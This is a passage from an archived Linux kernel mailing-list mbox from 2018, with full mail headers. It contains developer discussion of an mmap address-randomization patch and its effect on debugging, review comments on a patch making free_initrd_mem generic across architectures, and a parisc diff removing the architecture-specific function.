         EdWHVka+RUMfwk4xRo34/c3EiFy3MVWfxDhEbow5/WNHHy5dgEUteMCwX+YN8eNdOnpZ
         ivuk768H8cNS33gtX5TrAb65BOcQYibWjvNkIqnubon9AbjHSNQkBc6iiCMp4vXSfaMq
         0pTYKRx1IDAq3T2YJcOHO00FobNPIYIRvlQAIeGK4tm84Yz1AdqLoNXHErcoia4gLeih
         auaPBmwACnjbAve5RsQqTh7QhBMfmusTeYJAbnUiBp/CFxy6VJ3/62jqtCGPLjZ9fAEM
         IRZg==
X-Gm-Message-State: AElRT7FBzO3ehKgcgsR5KC3Y1TO91g5xQN0dJ7OwSz3YAMo4mKPApe9P
        YbsvaVTCuGDaMnbyeOzEI84=
X-Google-Smtp-Source: AIpwx4+dzpT91FvaFhoZ3xkzYjDGaqjJ1sxmduVWasDti8HbRZkC+lXIRBvsYzSdr/NnlAoBmc9Y8g==
X-Received: by 10.46.135.139 with SMTP id n11mr8188891lji.65.1522408224891;
        Fri, 30 Mar 2018 04:10:24 -0700 (PDT)
Original-Received: from [10.0.36.208] ([31.44.93.2])
        by smtp.gmail.com with ESMTPSA id q28-v6sm1622452lfb.84.2018.03.30.04.10.22
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 30 Mar 2018 04:10:23 -0700 (PDT)
In-Reply-To: <20180330095735.GA15641@amd>
X-Mailer: Apple Mail (2.3445.5.20)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2729537 gmane.linux.ports.alpha:4919 gmane.linux.kernel.arc:3719 gmane.linux.ports.arm.kernel:641844 gmane.linux.ports.ia64:28788 gmane.linux.kernel.metag:1755 gmane.linux.ports.mips.general:64311 gmane.linux.ports.parisc:28462 gmane.linux.ports.ppc64.devel:155514 gmane.linux.ports.sh.devel:56786 gmane.linux.ports.sparc:27521 gmane.linux.kernel.mm:192657
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2729537>


> On 30 Mar 2018, at 12:57, Pavel Machek <pavel@ucw.cz> wrote:
>=20
> On Fri 2018-03-30 12:07:58, Ilya Smith wrote:
>> Hi
>>=20
>>> On 30 Mar 2018, at 10:55, Pavel Machek <pavel@ucw.cz> wrote:
>>>=20
>>> Hi!
>>>=20
>>>> Current implementation doesn't randomize address returned by mmap.
>>>> All the entropy ends with choosing mmap_base_addr at the process
>>>> creation. After that mmap build very predictable layout of address
>>>> space. It allows to bypass ASLR in many cases. This patch make
>>>> randomization of address on any mmap call.
>>>=20
>>> How will this interact with people debugging their application, and
>>> getting different behaviours based on memory layout?
>>>=20
>>> strace, strace again, get different results?
>>>=20
>>=20
>> Honestly I=E2=80=99m confused about your question. If the only one =
way for debugging=20
>> application is to use predictable mmap behaviour, then something went =
wrong in=20
>> this live and we should stop using computers at all.
>=20
> I'm not saying "only way". I'm saying one way, and you are breaking
> that. There's advanced stuff like debuggers going "back in time".
>=20

Correct me if I wrong, when you run gdb for instance and try to debug =
some=20
application, gdb will disable randomization. This behaviour works with =
gdb=20
command: set disable-randomization on. As I know, gdb remove flag =
PF_RANDOMIZE=20
from current personality thats how it disables ASLR for debugging =
process.=20
According to my patch, flag PF_RANDOMIZE is checked before calling=20
unmapped_area_random. So I don=E2=80=99t breaking debugging. If you =
talking about the=20
case, when your application crashes under customer environment and you =
want to
debug it; in this case layout of memory is what you don=E2=80=99t =
control at all and=20
you have to understand what is where. So for debugging memory process =
layout is
not what you should care of.

Thanks,
Ilya


From - Thu Nov 08 21:41:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ingo Molnar <mingo@kernel.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Fri, 30 Mar 2018 13:15:17 +0200
Lines: 93
Approved: news@gmane.org
Message-ID: <20180330111517.rrx6gs2skkgk336j@gmail.com>
References: <20180325221853.10839-1-shea@shealevy.com>
 <20180328152714.6103-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522408426 11663 195.159.176.226 (30 Mar 2018 11:13:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 30 Mar 2018 11:13:46 +0000 (UTC)
User-Agent: NeoMutt/20170609 (1.8.3)
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 uclinux-h8-devel@lists.sourceforge.jp,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 linux-cris-kernel@axis.com, Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 linux-kernel@vger.kerne
To: Shea Levy <shea@shealevy.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Mar 30 13:13:33 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1ryO-0002i1-NC
	for gla-linux-snps-arc@m.gmane.org; Fri, 30 Mar 2018 13:13:32 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=sY9jnuFT0fGYXfClv/mflt7N68mOMZy57Q9CINBz+2A=; b=CNcf87GROxu5u1
	0Cd39xIlzR8LZFVtF6lyi5cKm1erVgta+H/F2vY/T/oWm95AaKKdJMPXUtEyiOHifVz4rPsVrsOlN
	aFTOE6NSik3ccoeD8zUFJyHlppspwPGNHrOG5zmoTwTvMXAoqxc+vPP0uFqoGB3sEFOyPxax/MDQL
	CmTjycvtBeNwwDHQYr/h1S90k3dmp1PVBsMKaARWhONdr1F42J/9eU99903bvXaendIeDbZVh0Z88
	YiPSNubFzYEz7dbaDLtxEGgmsU4/uoQ6cbl/i8gHhPUN/jR5PkiqPlb8alRjVMPvjwuI/q2MsUQrv
	QewkWe2ckDnonnp4b/Pw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1s0R-00029R-97; Fri, 30 Mar 2018 11:15:39 +0000
Original-Received: from mail-wm0-x243.google.com ([2a00:1450:400c:c09::243])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1s0N-00027x-P5; Fri, 30 Mar 2018 11:15:37 +0000
Original-Received: by mail-wm0-x243.google.com with SMTP id l16so16331189wmh.3;
 Fri, 30 Mar 2018 04:15:24 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=sender:date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=rXlwKiGp/tjcc21tBymr4J+1neoT8IuyCWGzifMsAiI=;
 b=fysDn56UqnevxUbaoy1VRSzbBB9C98IilJevPKrf40kajh/UE6Q/LFUDrC3h3W+2oq
 Cxj8mLmKm+NsKsifdFebdo6U3/ZfNlWDiH2Vw2x6vJCf6aF4IMLydRLAv2ndcykXwu19
 KLy8K7VJ3BAQxRxf7bLEgHfvjdeV41uzrzGopnPQqwqmIp1xPTg19h6XZxcf5odYH9ZD
 13eX/w907kli8eOg47jTAluybo8ursolJV387ocdiq8ee4sz4tQBrh1niCQ4fz/aZYDf
 tlZeXxiszp6F0z5MPSRLvoV6iVPlgpaln8NGoPxSGXLVmxm+msY7aCC83RCri+PxtG5h
 FIEw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:sender:date:from:to:cc:subject:message-id
 :references:mime-version:content-disposition:in-reply-to:user-agent;
 bh=rXlwKiGp/tjcc21tBymr4J+1neoT8IuyCWGzifMsAiI=;
 b=AeAeKJWYvvhTPdBL/ib6YPR/xqoEaTGI5GalNECYVogqBjHQTxGUUnad70coSWafCG
 JE038AX8SIAMwj+ItHaaGwhyiAzw1Mf4a46w0G6dkXTiQtD34143yVn5mYryZHEmyNOH
 F9JrdnVmDiIfxuCuqrD/yVZF7qBShP79T4uLqjXvZ/OlDWb/9auorJtKVjN7yqyFoU1i
 s1UuvUju2Oh16KdO/uvFxAhMnl3zeI03ipnJMUedJW8etKZ0JLnt/jNL4+XkrNvXi4gf
 eZP1cZ9vQxo6DFV/cAzIoRn/ihy2fxyINicr1xYYc8N2hqPxgzh/N+oLWLP4uYVW+Xy8
 FnBA==
X-Gm-Message-State: AElRT7F4hVnfG6zD/+uJtosvFsSGj/LclWIGvpZBRKgxu76U1RuP4nvk
 t9OSW0pf0HVfQzbMOlbAzAY=
X-Google-Smtp-Source: AIpwx49B69d0qqumGJq+mzslTiIIbKql1MnH1QTbx/qAhVh2KpmUPGrnHfDHaflm8NUa4Su4njHlHQ==
X-Received: by 10.28.228.131 with SMTP id b125mr1872554wmh.153.1522408523324; 
 Fri, 30 Mar 2018 04:15:23 -0700 (PDT)
Original-Received: from gmail.com (2E8B0CD5.catv.pool.telekom.hu. [46.139.12.213])
 by smtp.gmail.com with ESMTPSA id k14sm11078170wrc.62.2018.03.30.04.15.19
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Fri, 30 Mar 2018 04:15:22 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20180328152714.6103-1-shea@shealevy.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180330_041535_818517_657F09FD 
X-CRM114-Status: GOOD (  16.66  )
X-Spam-Score: 3.3 (+++)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (3.3 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2a00:1450:400c:c09:0:0:0:243 listed in] [list.dnswl.org]
 2.8 FSL_HELO_FAKE          No description available.
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (mingo.kernel.org[at]gmail.com)
 0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
 domains are different
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.2 FREEMAIL_FORGED_FROMDOMAIN 2nd level domains in From and EnvelopeFrom
 freemail headers are different
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3720 gmane.linux.ports.mips.general:64312 gmane.linux.ports.sh.devel:56787 gmane.linux.kernel:2729538 gmane.linux.ports.ia64:28789 gmane.linux.ports.hexagon:1627 gmane.linux.kernel.metag:1756 gmane.linux.ports.arm.kernel:641845 gmane.linux.ports.parisc:28463 gmane.linux.ports.alpha:4920 gmane.linux.ports.sparc:27522 gmane.linux.uml.devel:16751 gmane.linux.uml.user:15422 gmane.linux.ports.ppc64.devel:155515
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3720>


* Shea Levy <shea@shealevy.com> wrote:

> Now only those architectures that have custom initrd free requirements
> need to define free_initrd_mem.
> 
> Signed-off-by: Shea Levy <shea@shealevy.com>

Please put the Kconfig symbol name this patch introduces both into the title, so 
that people know what to grep for.

> ---
>  arch/alpha/mm/init.c      |  8 --------
>  arch/arc/mm/init.c        |  7 -------
>  arch/arm/Kconfig          |  1 +
>  arch/arm64/Kconfig        |  1 +
>  arch/blackfin/Kconfig     |  1 +
>  arch/c6x/mm/init.c        |  7 -------
>  arch/cris/Kconfig         |  1 +
>  arch/frv/mm/init.c        | 11 -----------
>  arch/h8300/mm/init.c      |  7 -------
>  arch/hexagon/Kconfig      |  1 +
>  arch/ia64/Kconfig         |  1 +
>  arch/m32r/Kconfig         |  1 +
>  arch/m32r/mm/init.c       | 11 -----------
>  arch/m68k/mm/init.c       |  7 -------
>  arch/metag/Kconfig        |  1 +
>  arch/microblaze/mm/init.c |  7 -------
>  arch/mips/Kconfig         |  1 +
>  arch/mn10300/Kconfig      |  1 +
>  arch/nios2/mm/init.c      |  7 -------
>  arch/openrisc/mm/init.c   |  7 -------
>  arch/parisc/mm/init.c     |  7 -------
>  arch/powerpc/mm/mem.c     |  7 -------
>  arch/riscv/mm/init.c      |  6 ------
>  arch/s390/Kconfig         |  1 +
>  arch/score/Kconfig        |  1 +
>  arch/sh/mm/init.c         |  7 -------
>  arch/sparc/Kconfig        |  1 +
>  arch/tile/Kconfig         |  1 +
>  arch/um/kernel/mem.c      |  7 -------
>  arch/unicore32/Kconfig    |  1 +
>  arch/x86/Kconfig          |  1 +
>  arch/xtensa/Kconfig       |  1 +
>  init/initramfs.c          |  7 +++++++
>  usr/Kconfig               |  4 ++++
>  34 files changed, 28 insertions(+), 113 deletions(-)

Please also put it into Documentation/features/.

> diff --git a/usr/Kconfig b/usr/Kconfig
> index 43658b8a975e..7a94f6df39bf 100644
> --- a/usr/Kconfig
> +++ b/usr/Kconfig
> @@ -233,3 +233,7 @@ config INITRAMFS_COMPRESSION
>  	default ".lzma" if RD_LZMA
>  	default ".bz2"  if RD_BZIP2
>  	default ""
> +
> +config HAVE_ARCH_FREE_INITRD_MEM
> +	bool
> +	default n

Help text would be nice, to tell arch maintainers what the purpose of this switch 
is.

Also, a nit, I think this should be named "ARCH_HAS_FREE_INITRD_MEM", which is the 
dominant pattern:

triton:~/tip> git grep 'select.*ARCH' arch/x86/Kconfig* | cut -f2 | cut -d_ -f1-2 | sort | uniq -c | sort -n
    ...
      2 select ARCH_USES
      2 select ARCH_WANTS
      3 select ARCH_MIGHT
      3 select ARCH_WANT
      4 select ARCH_SUPPORTS
      4 select ARCH_USE
     16 select HAVE_ARCH
     23 select ARCH_HAS

It also reads nicely in English:

  "arch has free_initrd_mem()"

While the other makes little sense:

  "have arch free_initrd_mem()"

?

Thanks,

	Ingo

From - Thu Nov 08 21:41:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rich Felker <dalias@libc.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Fri, 30 Mar 2018 09:33:48 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20180330133348.GR1436@brightrain.aerifal.cx>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180330075508.GA21798@amd>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1522416909 13905 195.159.176.226 (30 Mar 2018 13:35:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 30 Mar 2018 13:35:09 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Ilya Smith <blackzert@gmail.com>, rth@twiddle.net,
        ink@jurassic.park.msu.ru, mattst88@gmail.com, vgupta@synopsys.com,
        linux@armlinux.org.uk, tony.luck@intel.com, fenghua.yu@intel.com,
        jhogan@kernel.org, ralf@linux-mips.org, jejb@parisc-linux.org,
        deller@gmx.de, benh@kernel.crashing.org, paulus@samba.org,
        mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, ysato@users.sourceforge.jp,
        davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com,
        hpa@zytor.com, x86@kernel.org, nyc@holomorphy.com,
        viro@zeniv.linux.org.uk, arnd@arndb.de, gregkh@linuxfoundation.org,
        deepa.kernel@gmail.com, mhocko@suse.com, hughd@google.com,
        kstewart@linuxfoundation.org, pombredanne@nexb.com,
        akpm@linux-foundation.org, steve.capper@arm.com,
        punit.agrawal@arm.com, paul.burton@mips.com,
To: Pavel Machek <pavel@ucw.cz>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Mar 30 15:34:59 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f1uBG-0003JP-Ty
	for glk-linux-kernel-4@m.gmane.org; Fri, 30 Mar 2018 15:34:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752279AbeC3NhC (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 30 Mar 2018 09:37:02 -0400
Original-Received: from 216-12-86-13.cv.mvl.ntelos.net ([216.12.86.13]:33596 "EHLO
        brightrain.aerifal.cx" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751258AbeC3Ng5 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 30 Mar 2018 09:36:57 -0400
Original-Received: from dalias by brightrain.aerifal.cx with local (Exim 3.15 #2)
        id 1f1uA8-0002L6-00; Fri, 30 Mar 2018 13:33:48 +0000
Content-Disposition: inline
In-Reply-To: <20180330075508.GA21798@amd>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2729583 gmane.linux.ports.alpha:4921 gmane.linux.kernel.arc:3721 gmane.linux.ports.arm.kernel:641868 gmane.linux.ports.ia64:28790 gmane.linux.kernel.metag:1757 gmane.linux.ports.mips.general:64314 gmane.linux.ports.parisc:28464 gmane.linux.ports.ppc64.devel:155519 gmane.linux.ports.sh.devel:56788 gmane.linux.ports.sparc:27523 gmane.linux.kernel.mm:192660
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2729583>

On Fri, Mar 30, 2018 at 09:55:08AM +0200, Pavel Machek wrote:
> Hi!
> 
> > Current implementation doesn't randomize address returned by mmap.
> > All the entropy ends with choosing mmap_base_addr at the process
> > creation. After that mmap build very predictable layout of address
> > space. It allows to bypass ASLR in many cases. This patch make
> > randomization of address on any mmap call.
> 
> How will this interact with people debugging their application, and
> getting different behaviours based on memory layout?
> 
> strace, strace again, get different results?

Normally gdb disables ASLR for the process when invoking a program to
debug. I don't see why that would be terribly useful with strace but
you can do the same if you want.

Rich


From - Thu Nov 08 21:41:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v6 13/16] parisc: Switch to generic free_initrd_mem.
Date: Sun,  1 Apr 2018 10:59:27 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20180401145931.7932-13-shea@shealevy.com>
References: <20180329113207.30674-1-shea@shealevy.com>
 <20180401145931.7932-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1522594779 11835 195.159.176.226 (1 Apr 2018 14:59:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 1 Apr 2018 14:59:39 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: linux-riscv@lists.infradead.org, linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Apr 01 16:59:34 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f2eSE-0002yD-An
	for glk-linux-kernel-4@m.gmane.org; Sun, 01 Apr 2018 16:59:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753862AbeDAPBk (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 1 Apr 2018 11:01:40 -0400
Original-Received: from smtprelay0122.hostedemail.com ([216.40.44.122]:37747 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1753697AbeDAPAd (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 1 Apr 2018 11:00:33 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay02.hostedemail.com (Postfix) with ESMTP id 600E6127AB;
        Sun,  1 Apr 2018 15:00:32 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::,RULES_HIT:41:355:379:541:800:960:965:966:968:973:988:989:1260:1345:1359:1437:1534:1540:1711:1714:1730:1747:1777:1792:1978:1981:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3350:3865:3867:3868:3870:3871:4321:4385:4390:4395:5007:6261:9592:10004:10848:11026:11473:11658:11914:12438:12555:12895:12986:13069:13161:13229:13311:13357:14096:14181:14384:14394:14721:21080:21627:30054,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:3,LUA_SUMMARY:none
X-HE-Tag: hook94_790f56b13ea07
X-Filterd-Recvd-Size: 1652
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf10.hostedemail.com (Postfix) with ESMTPA;
        Sun,  1 Apr 2018 15:00:31 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180401145931.7932-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2730260 gmane.linux.ports.parisc:28465
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2730260>

The first patch in this series added a weakly-defined generic
implementation, which is functionally identical to the
architecture-specific one removed here.

Series boot-tested on RISC-V (which now uses the generic
implementation) and x86_64 (which doesn't).

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/parisc/mm/init.c | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index cab32ee824d2..3643399230f3 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -932,10 +932,3 @@ void flush_tlb_all(void)
 	spin_unlock(&sid_lock);
 }
 #endif
-
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-- 
2.16.2



From - Thu Nov 08 21:41:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Sun, 01 Apr 2018 11:05:21 -0400
Lines: 152
Approved: news@gmane.org
Message-ID: <87bmf3rmq6.fsf@xps13.shealevy.com>
References: <20180325221853.10839-1-shea@shealevy.com>
 <20180328152714.6103-1-shea@shealevy.com>
 <20180330111517.rrx6gs2skkgk336j@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="===============7840985626795173511=="
X-Trace: blaine.gmane.org 1522595031 30043 195.159.176.226 (1 Apr 2018 15:03:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 1 Apr 2018 15:03:51 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 uclinux-h8-devel@lists.sourceforge.jp,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 linux-cris-kernel@axis.com, Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 linux-kernel@vger.kerne
To: Ingo Molnar <mingo@kernel.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sun Apr 01 17:03:38 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f2eWA-0007ZL-6u
	for gla-linux-snps-arc@m.gmane.org; Sun, 01 Apr 2018 17:03:38 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:Content-Type:Cc:
